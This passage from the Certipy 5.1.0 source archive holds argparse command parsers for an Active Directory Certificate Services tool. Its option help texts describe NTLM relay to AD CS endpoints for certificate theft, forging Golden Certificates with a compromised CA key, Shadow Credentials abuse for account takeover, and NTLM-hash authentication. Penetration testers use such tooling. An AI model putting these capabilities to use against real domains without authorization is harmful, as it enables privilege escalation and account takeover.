metavar="seconds",
help="Timeout for connections in seconds",
default=5,
type=int,
)
# Authentication options
auth_group = subparser.add_argument_group("authentication options")
auth_group.add_argument(
"-username",
action="store",
metavar="username",
help="Username to authenticate as (extracted from certificate if omitted)",
)
auth_group.add_argument(
"-domain",
action="store",
metavar="domain",
help="Domain name to authenticate to (extracted from certificate if omitted)",
)
auth_group.add_argument(
"-ldap-shell",
action="store_true",
help="Authenticate with the certificate via Schannel against LDAP",
)
# LDAP Options Group
ldap_group = subparser.add_argument_group("ldap options")
_ = ldap_group.add_argument(
"-ldap-scheme",
action="store",
metavar="ldap scheme",
choices=["ldap", "ldaps"],
default="ldaps",
help="LDAP connection scheme to use (default: ldaps)",
)
_ = ldap_group.add_argument(
"-ldap-port",
action="store",
metavar="port",
type=int,
help="Port for LDAP communication (default: 636 for ldaps, 389 for ldap)",
)
_ = ldap_group.add_argument(
"-ldap-user-dn",
action="store",
metavar="dn",
help="Distinguished Name of target account for LDAP authentication",
)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/ca.py 0000775 0000000 0000000 00000011322 15216574665 0021053 0 ustar 00root root 0000000 0000000 """
Parser for Certificate Authority management command.
This module defines the command-line interface for the 'ca' command,
which allows managing Certificate Authority configurations, templates,
certificate requests, and role assignments in Active Directory.
"""
import argparse
from typing import Callable, Tuple
from . import target
# Command name identifier
NAME = "ca"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the CA management command.
This function imports and calls the actual implementation of the CA
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import ca
ca.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the Certificate Authority management command subparser to the main parser.
This function creates and configures a subparser for managing Certificate
Authorities in Active Directory, including template management, request
processing, permission assignments, and CA backup operations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the CA subparser with description
subparser = subparsers.add_parser(
NAME,
help="Manage CA and certificates",
description=(
"Manage Certificate Authority configurations, templates, and permissions. "
"This command allows enabling/disabling templates, processing certificate "
"requests, managing role assignments, and backing up CA certificates."
),
)
# CA identification
subparser.add_argument(
"-ca",
action="store",
metavar="certificate authority name",
help="Name of the Certificate Authority to manage",
)
# Certificate template management options
template_group = subparser.add_argument_group("certificate template options")
template_group.add_argument(
"-enable-template",
action="store",
metavar="template name",
help="Enable a certificate template on the CA",
)
template_group.add_argument(
"-disable-template",
action="store",
metavar="template name",
help="Disable a certificate template on the CA",
)
template_group.add_argument(
"-list-templates",
action="store_true",
help="List all enabled certificate templates on the CA",
)
# Certificate request processing options
request_group = subparser.add_argument_group("certificate request options")
request_group.add_argument(
"-issue-request",
action="store",
metavar="request ID",
help="Issue a pending or failed certificate request",
)
request_group.add_argument(
"-deny-request",
action="store",
metavar="request ID",
help="Deny a pending certificate request",
)
# Certificate officer management
officer_group = subparser.add_argument_group("officer options")
officer_group.add_argument(
"-add-officer",
action="store",
metavar="officer",
help="Add a new officer (Certificate Manager) to the CA",
)
officer_group.add_argument(
"-remove-officer",
action="store",
metavar="officer",
help="Remove an existing officer (Certificate Manager) from the CA",
)
# CA manager role management
manager_group = subparser.add_argument_group("manager options")
manager_group.add_argument(
"-add-manager",
action="store",
metavar="manager",
help="Add a new manager (CA Manager) to the CA",
)
manager_group.add_argument(
"-remove-manager",
action="store",
metavar="manager",
help="Remove an existing manager (CA Manager) from the CA",
)
# Backup operations
backup_group = subparser.add_argument_group("backup options")
backup_group.add_argument(
"-backup",
action="store_true",
help="Backup CA certificate and private key",
)
backup_group.add_argument(
"-config",
action="store",
metavar="Machine\\CA",
help="CA configuration string in format Machine\\CAName",
)
# Connection options
conn_group = subparser.add_argument_group("connection options")
conn_group.add_argument(
"-dynamic-endpoint",
action="store_true",
help="Prefer dynamic TCP endpoint over named pipe",
)
# Add standard target arguments from shared module
target.add_argument_group(subparser, connection_options=conn_group)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/cert.py 0000775 0000000 0000000 00000006361 15216574665 0021434 0 ustar 00root root 0000000 0000000 """
Parser for certificate manipulation command.
This module defines the command-line interface for the 'cert' command,
which allows managing certificates and private keys, including importing,
exporting, and converting between different formats.
"""
import argparse
from typing import Callable, Tuple
# Command name identifier
NAME = "cert"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the cert command.
This function imports and calls the actual implementation of the cert
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import cert
cert.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate management command subparser to the main parser.
This function creates and configures a subparser for managing certificates
and private keys, including options for importing from various formats,
exporting to PFX, and manipulating certificate components.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the cert subparser with description
subparser = subparsers.add_parser(
NAME,
help="Manage certificates and private keys",
description=(
"Import, export, and manipulate certificates and private keys locally. "
"This command supports various operations like converting between formats, "
"extracting components, and creating PFX files."
),
)
# Input options group
input_group = subparser.add_argument_group("input options")
input_group.add_argument(
"-pfx",
action="store",
metavar="infile",
help="Load certificate and private key from PFX/P12 file",
)
input_group.add_argument(
"-password",
action="store",
metavar="password",
help="Password for the input PFX/P12 file",
)
input_group.add_argument(
"-key",
action="store",
metavar="infile",
help="Load private key from PEM or DER file",
)
input_group.add_argument(
"-cert",
action="store",
metavar="infile",
help="Load certificate from PEM or DER file",
)
# Output options group
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-export", action="store_true", help="Export to PFX/P12 file (default format)"
)
output_group.add_argument(
"-out",
action="store",
metavar="outfile",
help="Output filename for the exported certificate/key",
)
output_group.add_argument(
"-nocert",
action="store_true",
help="Don't include certificate in output (key only)",
)
output_group.add_argument(
"-nokey",
action="store_true",
help="Don't include private key in output (certificate only)",
)
output_group.add_argument(
"-export-password",
action="store",
metavar="password",
help="Password to protect the output PFX/P12 file",
)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/find.py 0000775 0000000 0000000 00000010125 15216574665 0021410 0 ustar 00root root 0000000 0000000 """
Parser for AD CS enumeration command.
This module defines the command-line interface for the 'find' command,
which allows enumerating and analyzing Active Directory Certificate Services
components and configurations to identify security vulnerabilities.
"""
import argparse
from typing import Callable, Tuple
from . import target
# Command name identifier
NAME = "find"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the find command.
This function imports and calls the actual implementation of the find
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import find
find.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the AD CS enumeration command subparser to the main parser.
This function creates and configures a subparser for finding and analyzing
Active Directory Certificate Services components, including certificate
templates, enrollment services, and CA configurations.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the find subparser with description
subparser = subparsers.add_parser(
NAME,
help="Enumerate AD CS",
description=(
"Discover and analyze Active Directory Certificate Services (AD CS) components. "
"This command identifies vulnerable certificate templates, security misconfigurations, "
"and potential certificate-based privilege escalation paths."
),
)
# Output options group
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-text",
action="store_true",
help="Output result as formatted text file",
)
output_group.add_argument(
"-stdout",
action="store_true",
help="Output result as text directly to console",
)
output_group.add_argument(
"-json",
action="store_true",
help="Output result as JSON",
)
output_group.add_argument(
"-csv",
action="store_true",
help="Output result as CSV",
)
output_group.add_argument(
"-output",
action="store",
metavar="prefix",
help="Filename prefix for writing results to",
)
# Find options group
find_group = subparser.add_argument_group("find options")
find_group.add_argument(
"-enabled",
action="store_true",
help="Show only enabled certificate templates",
)
find_group.add_argument(
"-dc-only",
action="store_true",
help=(
"Collects data only from the domain controller. Will not try to retrieve "
"CA security/configuration or check for Web Enrollment"
),
)
find_group.add_argument(
"-vulnerable",
action="store_true",
help="Show only vulnerable certificate templates based on nested group memberships",
)
find_group.add_argument(
"-oids",
action="store_true",
help="Show OIDs (Issuance Policies) and their properties",
)
find_group.add_argument(
"-hide-admins",
action="store_true",
help="Don't show administrator permissions for -text, -stdout, -json, and -csv",
)
# Identity options for cross-domain operation
identity_group = subparser.add_argument_group("identity options")
identity_group.add_argument(
"-sid",
action="store",
metavar="object sid",
help="SID of the user provided in the command line. Useful for cross domain authentication",
)
identity_group.add_argument(
"-dn",
action="store",
metavar="distinguished name",
help="Distinguished name of the user provided in the command line. Useful for cross domain authentication",
)
# Add standard target arguments from shared module
target.add_argument_group(subparser)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/forge.py 0000775 0000000 0000000 00000012614 15216574665 0021577 0 ustar 00root root 0000000 0000000 """
Parser for certificate forging command.
This module defines the command-line interface for the 'forge' command,
which allows creating custom certificates by forging them with a compromised CA certificate.
"""
import argparse
from typing import Callable, Tuple
# Command name identifier
NAME = "forge"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the forge command.
This function imports and calls the actual implementation of the forge
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import forge
forge.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate forging command subparser to the main parser.
This function creates and configures a subparser for forging certificates
with a compromised CA certificate, allowing creation of Golden Certificates
that can be used for authentication and privilege escalation.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the forge subparser with description
subparser = subparsers.add_parser(
NAME,
help="Create Golden Certificates or self-signed certificates",
description=(
"Forge certificates using a compromised CA certificate or generate a self-signed CA. "
"This allows creating certificates for any identity in the domain or creating standalone certificate chains."
),
)
# CA certificate (optional, if not specified a self-signed root CA will be generated)
subparser.add_argument(
"-ca-pfx",
action="store",
metavar="pfx/p12 file name",
help="Path to CA certificate and private key (PFX/P12 format). If not specified, a self-signed root CA will be generated",
)
# CA certificate password
subparser.add_argument(
"-ca-password",
action="store",
metavar="password",
help="Password for the CA PFX file",
)
# Subject Alternative Name options
san_group = subparser.add_argument_group("subject alternative name options")
san_group.add_argument(
"-upn",
action="store",
metavar="alternative UPN",
help="User Principal Name to include in the Subject Alternative Name",
)
san_group.add_argument(
"-dns",
action="store",
metavar="alternative DNS",
help="DNS name to include in the Subject Alternative Name",
)
san_group.add_argument(
"-sid",
action="store",
metavar="alternative Object SID",
help="Object SID to include in the Subject Alternative Name",
)
san_group.add_argument(
"-subject",
action="store",
metavar="subject",
help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL",
)
# Certificate content options
cert_group = subparser.add_argument_group("certificate content options")
cert_group.add_argument(
"-template",
action="store",
metavar="pfx/p12 file name",
help="Path to template certificate to clone properties from",
)
cert_group.add_argument(
"-issuer",
action="store",
metavar="issuer",
help="Issuer to include in certificate. If not specified, the issuer from the CA cert will be used",
)
cert_group.add_argument(
"-crl",
action="store",
metavar="ldap path",
help="LDAP path to a CRL distribution point",
)
cert_group.add_argument(
"-serial",
action="store",
metavar="serial number",
help="Custom serial number for the certificate",
)
# Advanced certificate options
cert_group.add_argument(
"-application-policies",
action="store",
nargs="+",
metavar="Application Policy",
help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')",
)
cert_group.add_argument(
"-smime",
action="store",
metavar="encryption algorithm",
help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)",
)
# Key options
key_group = subparser.add_argument_group("key options")
key_group.add_argument(
"-key-size",
action="store",
metavar="RSA key length",
help="Length of RSA key (default: 2048)",
default=2048,
type=int,
)
# Validity options
validity_group = subparser.add_argument_group("validity options")
validity_group.add_argument(
"-validity-period",
action="store",
metavar="days",
help="Validity period in days (default: 365)",
default=365,
type=int,
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-out",
action="store",
metavar="output file name",
help="Path to save the forged certificate and private key (PFX format)",
)
output_group.add_argument(
"-pfx-password",
action="store",
metavar="password",
help="Password to protect the output PFX file",
)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/parse.py 0000775 0000000 0000000 00000011773 15216574665 0021614 0 ustar 00root root 0000000 0000000 """
Parser for certificate template offline analyzer command.
This module defines the command-line interface for the 'parse' command,
which enables offline analysis of AD CS certificate templates from registry data
exported from domain controllers.
"""
import argparse
from typing import Callable, Tuple
# Command name identifier
NAME = "parse"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the parse command.
This function imports and calls the actual implementation of the parse
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import parse
parse.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the parse command subparser to the main parser.
This function creates and configures a subparser for analyzing AD CS certificate
templates from registry data, allowing offline enumeration of potentially
vulnerable templates.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the parse subparser with description
subparser = subparsers.add_parser(
NAME,
help="Offline enumerate AD CS based on registry data",
description=(
"Parse and analyze certificate templates from exported registry data. "
"This allows assessment of AD CS security without direct domain access."
),
)
# Input file (positional argument, required)
subparser.add_argument(
"file", help="File to parse (BOF output or .reg file from registry export)"
)
# Output format options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-text",
action="store_true",
help="Output result as formatted text file",
)
output_group.add_argument(
"-stdout",
action="store_true",
help="Output result as text directly to console",
)
output_group.add_argument(
"-json",
action="store_true",
help="Output result as JSON",
)
output_group.add_argument(
"-csv",
action="store_true",
help="Output result as CSV",
)
output_group.add_argument(
"-output",
action="store",
metavar="prefix",
help="Filename prefix for writing results to",
)
# Parse options for input interpretation and filtering
parse_group = subparser.add_argument_group("parse options")
parse_group.add_argument(
"-format",
metavar="format",
help="Input format: BOF output or Windows .reg file (default: bof)",
choices=["bof", "reg", "oc2_bof"],
default="bof",
)
parse_group.add_argument(
"-domain",
metavar="domain name",
help="Domain name. Only used for output context (default: UNKNOWN)",
type=lambda arg: arg.upper(),
default="UNKNOWN",
)
parse_group.add_argument(
"-ca",
metavar="ca name",
help="CA name. Only used for output context (default: UNKNOWN)",
default="UNKNOWN",
)
# Security analysis options
parse_group.add_argument(
"-sids",
metavar="sids",
help="Consider the comma separated list of SIDs as owned for vulnerability assessment",
type=lambda arg: list(map(str.strip, arg.split(","))),
default=[],
)
parse_group.add_argument(
"-published",
metavar="templates",
help="Consider the comma separated list of template names as published in AD",
type=lambda arg: list(map(str.strip, arg.split(","))),
default=[],
)
# Filter options
filter_group = subparser.add_argument_group("filter options")
filter_group.add_argument(
"-enabled",
action="store_true",
help="Show only enabled certificate templates",
)
filter_group.add_argument(
"-vulnerable",
action="store_true",
help="Show only vulnerable certificate templates based on nested group memberships",
)
filter_group.add_argument(
"-hide-admins",
action="store_true",
help="Don't show administrator permissions for -text, -stdout, -json, and -csv output",
)
bloodhound_group = subparser.add_argument_group(
"BloodHound", description="Requires the 'bloodhound' extra to be installed"
)
bloodhound_group.add_argument("-neo4j-user", help="Username for neo4j")
bloodhound_group.add_argument("-neo4j-pass", help="Password for neo4j")
bloodhound_group.add_argument(
"-neo4j-host", help="Host for neo4j", default="localhost"
)
bloodhound_group.add_argument("-neo4j-port", help="Port for neo4j", default=7687)
bloodhound_group.add_argument(
"-use-owned-sids",
help="Use the SIDs of all owned principals as the user SIDs",
action="store_true",
)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/relay.py 0000775 0000000 0000000 00000015167 15216574665 0021617 0 ustar 00root root 0000000 0000000 """
Parser for NTLM Relay command.
This module defines the command-line interface for the 'relay' command,
which enables NTLM relay attacks against Active Directory Certificate Services
HTTP endpoints for certificate theft and escalation.
"""
import argparse
from typing import Callable, Tuple
# Command name identifier
NAME = "relay"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the relay command.
This function imports and calls the actual implementation of the relay
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import relay
relay.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the NTLM relay command subparser to the main parser.
This function creates and configures a subparser for relaying NTLM authentication
to AD CS HTTP endpoints, enabling certificate theft and account takeover via
certificate-based authentication.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the relay subparser with description
subparser = subparsers.add_parser(
NAME,
help="NTLM Relay to AD CS HTTP Endpoints",
description=(
"Perform NTLM relay attacks against Active Directory Certificate Services. "
"This allows obtaining certificates for relayed users and computers, "
"which can be used for authentication and potential privilege escalation."
),
)
# Target CA (required)
subparser.add_argument(
"-target",
action="store",
metavar="protocol://",
required=True,
help=(
"protocol:// of certificate authority. "
"Example: http://ca.corp.local for ESC8 or rpc://ca.corp.local for ESC11"
),
)
# Certificate request parameters
cert_group = subparser.add_argument_group("certificate request options")
cert_group.add_argument(
"-ca",
action="store",
metavar="certificate authority name",
help=(
"CA name to request certificate from. Example: 'CORP-CA'. "
"Only required for RPC relay (ESC11)"
),
)
cert_group.add_argument(
"-template",
action="store",
metavar="template name",
help=(
"If omitted, the template 'Machine' or 'User' is chosen by default "
"depending on whether the relayed account name ends with '$'. "
"Relaying a DC should require specifying the 'DomainController' template"
),
)
# Subject Alternative Name options
cert_group.add_argument(
"-upn",
action="store",
metavar="alternative UPN",
help="User Principal Name to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-dns",
action="store",
metavar="alternative DNS",
help="DNS name to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-sid",
action="store",
metavar="alternative Object SID",
help="Object SID to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-subject",
action="store",
metavar="subject",
help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL",
)
# Certificate options
cert_group.add_argument(
"-retrieve",
action="store",
metavar="request ID",
help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate",
default=None,
type=int,
)
cert_group.add_argument(
"-key-size",
action="store",
metavar="RSA key length",
help="Length of RSA key (default: 2048)",
default=2048,
type=int,
)
cert_group.add_argument(
"-archive-key",
action="store",
metavar="cax cert file",
help="Specify CAX Certificate for Key Archival. You can request the cax cert with 'certipy req -cax-cert'",
)
cert_group.add_argument(
"-pfx-password",
action="store",
metavar="PFX file password",
help="Password for the PFX file",
)
# Advanced certificate options
cert_group.add_argument(
"-application-policies",
action="store",
nargs="+",
metavar="Application Policy",
help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')",
)
cert_group.add_argument(
"-smime",
action="store",
metavar="encryption algorithm",
help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)",
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-out",
action="store",
metavar="output file name",
help="Path to save the certificate and private key (PFX format)",
)
# Server configuration options
server_group = subparser.add_argument_group("server options")
server_group.add_argument(
"-interface",
action="store",
metavar="ip address",
help="IP Address of interface to listen on (default: 0.0.0.0)",
default="0.0.0.0",
)
server_group.add_argument(
"-port",
action="store",
metavar="port number",
help="Port to listen on (default: 445)",
default=445,
type=int,
)
# Relay behavior options
relay_group = subparser.add_argument_group("relay options")
relay_group.add_argument(
"-forever",
action="store_true",
help="Don't stop the relay server after the first successful relay",
)
relay_group.add_argument(
"-no-skip",
action="store_true",
help="Don't skip previously attacked users (use with -forever)",
)
relay_group.add_argument(
"-enum-templates",
action="store_true",
help="Relay to /certsrv/certrqxt.asp and parse available certificate templates",
)
# Connection parameters
conn_group = subparser.add_argument_group("connection options")
conn_group.add_argument(
"-timeout",
action="store",
metavar="seconds",
help="Timeout for connections in seconds (default: 10)",
default=10,
type=int,
)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/req.py 0000775 0000000 0000000 00000015132 15216574665 0021262 0 ustar 00root root 0000000 0000000 """
Parser for certificate request command.
This module defines the command-line interface for the 'req' command,
which allows requesting certificates from Active Directory Certificate Services (AD CS).
"""
import argparse
from typing import Callable, Tuple
from . import target
# Command name identifier
NAME = "req"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the certificate request command.
This function imports and calls the actual implementation of the req
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import req
req.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the certificate request command subparser to the main parser.
This function creates and configures a subparser for requesting certificates
from AD CS, including options for certificate templates, subject alternative names,
and various enrollment methods.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the req subparser with description
subparser = subparsers.add_parser(
NAME,
help="Request certificates",
description=(
"Request and retrieve certificates from Active Directory Certificate Services (AD CS). "
"This command supports multiple enrollment protocols and certificate template types."
),
)
# CA name (required)
subparser.add_argument(
"-ca",
action="store",
metavar="certificate authority name",
help="Name of the Certificate Authority to request certificates from. Required for RPC and DCOM methods",
)
# Certificate request parameters
cert_group = subparser.add_argument_group("certificate request options")
cert_group.add_argument(
"-template",
action="store",
metavar="template name",
default="User",
help="Certificate template to request (default: User)",
)
# Subject Alternative Name options
cert_group.add_argument(
"-upn",
action="store",
metavar="alternative UPN",
help="User Principal Name to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-dns",
action="store",
metavar="alternative DNS",
help="DNS name to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-sid",
action="store",
metavar="alternative Object SID",
help="Object SID to include in the Subject Alternative Name",
)
cert_group.add_argument(
"-subject",
action="store",
metavar="subject",
help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL",
)
# Certificate retrieval options
cert_group.add_argument(
"-retrieve",
action="store",
metavar="request ID",
help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate",
default=None,
type=int,
)
# Certificate request agent options
cert_group.add_argument(
"-on-behalf-of",
action="store",
metavar="domain\\account",
help="Use a Certificate Request Agent certificate to request on behalf of another user",
)
cert_group.add_argument(
"-pfx",
action="store",
metavar="pfx/p12 file name",
help="Path to PFX for -on-behalf-of or -renew",
)
cert_group.add_argument(
"-pfx-password",
action="store",
metavar="PFX file password",
help="Password for the PFX file",
)
# Key options
cert_group.add_argument(
"-key-size",
action="store",
metavar="RSA key length",
help="Length of RSA key (default: 2048)",
default=2048,
type=int,
)
cert_group.add_argument(
"-archive-key", action="store_true", help="Send private key for Key Archival"
)
cert_group.add_argument(
"-cax-cert",
action="store_true",
help="Retrieve CAX Cert for relay with enabled Key Archival",
)
cert_group.add_argument(
"-renew", action="store_true", help="Create renewal request"
)
# Advanced certificate options
cert_group.add_argument(
"-application-policies",
action="store",
nargs="+",
metavar="Application Policy",
help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')",
)
cert_group.add_argument(
"-smime",
action="store",
metavar="encryption algorithm",
help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)",
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-out",
action="store",
metavar="output file name",
help="Path to save the certificate and private key (PFX format)",
)
# Connection method options
connection_group = subparser.add_argument_group("connection options")
connection_group.add_argument(
"-web", action="store_true", help="Use Web Enrollment instead of RPC"
)
connection_group.add_argument(
"-dcom", action="store_true", help="Use DCOM Enrollment instead of RPC"
)
# RPC-specific options
rpc_group = subparser.add_argument_group("rpc connection options")
rpc_group.add_argument(
"-dynamic-endpoint",
action="store_true",
help="Prefer dynamic TCP endpoint over named pipe",
)
# HTTP-specific options
http_group = subparser.add_argument_group("http connection options")
http_group.add_argument(
"-http-scheme",
action="store",
metavar="http scheme",
choices=["http", "https"],
default="http",
help="HTTP scheme to use for Web Enrollment (default: http)",
)
http_group.add_argument(
"-http-port",
action="store",
metavar="port number",
help="Web Enrollment port (default: 80 for http, 443 for https)",
type=int,
)
http_group.add_argument(
"-no-channel-binding",
action="store_true",
help="Disable channel binding for HTTP connections",
)
# Add standard target arguments
target.add_argument_group(subparser, connection_options=connection_group)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/shadow.py 0000775 0000000 0000000 00000006020 15216574665 0021754 0 ustar 00root root 0000000 0000000 """
Parser for Shadow Credentials command.
This module defines the command-line interface for the 'shadow' command,
which allows manipulation of Key Credential links (Shadow Credentials) on
Active Directory accounts for potential account takeover.
"""
import argparse
from typing import Callable, Tuple
from . import target
# Command name identifier
NAME = "shadow"
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the shadow command.
This function imports and calls the actual implementation of the shadow
command from the certipy.commands module.
Args:
options: Parsed command-line arguments
"""
from certipy.commands import shadow
shadow.entry(options)
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore
"""
Add the shadow credentials command subparser to the main parser.
This function creates and configures a subparser for managing Shadow Credentials
(Key Credential Links) in Active Directory, including options for listing, adding,
and removing credential links for account takeover.
Args:
subparsers: Parent parser to attach the subparser to
Returns:
Tuple of (command_name, entry_function) for command registration
"""
# Create the shadow subparser with description
subparser = subparsers.add_parser(
NAME,
help="Abuse Shadow Credentials for account takeover",
description=(
"Manipulate Key Credential Links (Shadow Credentials) on Active Directory accounts. "
"This allows for account takeover by adding or modifying Key Credential Links."
),
)
# Main action argument (required)
subparser.add_argument(
"shadow_action",
choices=["list", "add", "remove", "clear", "info", "auto"],
help=(
"Operation to perform on Key Credential Links: "
"list (view all), "
"add (create new), "
"remove (delete specific), "
"clear (remove all), "
"info (display detailed information), "
"auto (automatically exploit)"
),
)
# Target account options
account_group = subparser.add_argument_group("account options")
account_group.add_argument(
"-account",
action="store",
metavar="target account",
help=(
"Account to target. If omitted, the user "
"specified in the target will be used"
),
)
account_group.add_argument(
"-device-id",
action="store",
metavar="device id",
help="Device ID of the Key Credential Link to target",
)
# Output options
output_group = subparser.add_argument_group("output options")
output_group.add_argument(
"-out",
action="store",
metavar="output file name",
help="Output file for saving certificate or results",
)
# Add standard target arguments from shared module
target.add_argument_group(subparser)
return NAME, entry
Certipy-5.1.0/certipy/commands/parsers/target.py 0000775 0000000 0000000 00000012552 15216574665 0021764 0 ustar 00root root 0000000 0000000 """
Target Configuration Parser Module.
This module provides functions to add common target and authentication options
to command parsers, ensuring consistent options across all Certipy commands
when connecting to Active Directory services.
"""
import argparse
from typing import Optional
def add_argument_group(
parser: argparse.ArgumentParser,
connection_options: Optional[argparse._ArgumentGroup] = None,
) -> None:
"""
Add common target, connection, and authentication arguments to a parser.
This function adds standard options for connecting to Active Directory targets,
including domain controllers, authentication methods, and network settings.
Args:
parser: The parser to add argument groups to
connection_options: Optional existing argument group for connection options
"""
# Connection Options Group
if connection_options is not None:
conn_group = connection_options
else:
conn_group = parser.add_argument_group("connection options")
# Domain controller options
_ = conn_group.add_argument(
"-dc-ip",
action="store",
metavar="ip address",
help=(
"IP address of the domain controller. If omitted, it will use the domain "
"part (FQDN) specified in the target parameter"
),
)
_ = conn_group.add_argument(
"-dc-host",
action="store",
metavar="hostname",
help=(
"Hostname of the domain controller. Required for Kerberos authentication "
"during certain operations. If omitted, the domain part (FQDN) "
"specified in the account parameter will be used"
),
)
# Target machine options
_ = conn_group.add_argument(
"-target-ip",
action="store",
metavar="ip address",
help=(
"IP address of the target machine. If omitted, it will use whatever was "
"specified as target. Useful when target is the NetBIOS name and cannot be resolved"
),
)
_ = conn_group.add_argument(
"-target",
action="store",
metavar="dns/ip address",
help="DNS name or IP address of the target machine. Required for Kerberos authentication",
)
# DNS options
_ = conn_group.add_argument(
"-ns",
action="store",
metavar="ip address",
help="Nameserver for DNS resolution",
)
_ = conn_group.add_argument(
"-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries"
)
# Connection options
_ = conn_group.add_argument(
"-timeout",
action="store",
metavar="seconds",
help="Timeout for connections in seconds (default: 10)",
default=10,
type=int,
)
# Authentication Options Group
auth_group = parser.add_argument_group("authentication options")
# Credential options
_ = auth_group.add_argument(
"-u",
"-username",
metavar="username@domain",
dest="username",
action="store",
help="Username to authenticate with",
)
_ = auth_group.add_argument(
"-p",
"-password",
metavar="password",
dest="password",
action="store",
help="Password for authentication",
)
_ = auth_group.add_argument(
"-hashes",
action="store",
metavar="[lmhash:]nthash",
help="NTLM hash",
)
# Authentication options
_ = auth_group.add_argument(
"-k",
action="store_true",
dest="do_kerberos",
help=(
"Use Kerberos authentication. Grabs credentials from ccache file "
"(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, "
"it will use the ones specified in the command line"
),
)
_ = auth_group.add_argument(
"-aes",
action="store",
metavar="hex key",
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
)
_ = auth_group.add_argument(
"-no-pass",
action="store_true",
help="Don't ask for password (useful for -k)",
)
# LDAP Options Group
ldap_group = parser.add_argument_group("ldap options")
_ = ldap_group.add_argument(
"-ldap-scheme",
action="store",
metavar="ldap scheme",
choices=["ldap", "ldaps"],
default="ldaps",
help="LDAP connection scheme to use (default: ldaps)",
)
_ = ldap_group.add_argument(
"-ldap-port",
action="store",
metavar="port",
type=int,
help="Port for LDAP communication (default: 636 for ldaps, 389 for ldap)",
)
_ = ldap_group.add_argument(
"-no-ldap-channel-binding",
action="store_true",
help="Don't use LDAP channel binding for LDAP communication (LDAPS only)",
)
_ = ldap_group.add_argument(
"-no-ldap-signing",
action="store_true",
help="Don't use LDAP signing for LDAP communication (LDAP only)",
)
_ = ldap_group.add_argument(
"-ldap-simple-auth",
action="store_true",
dest="do_simple",
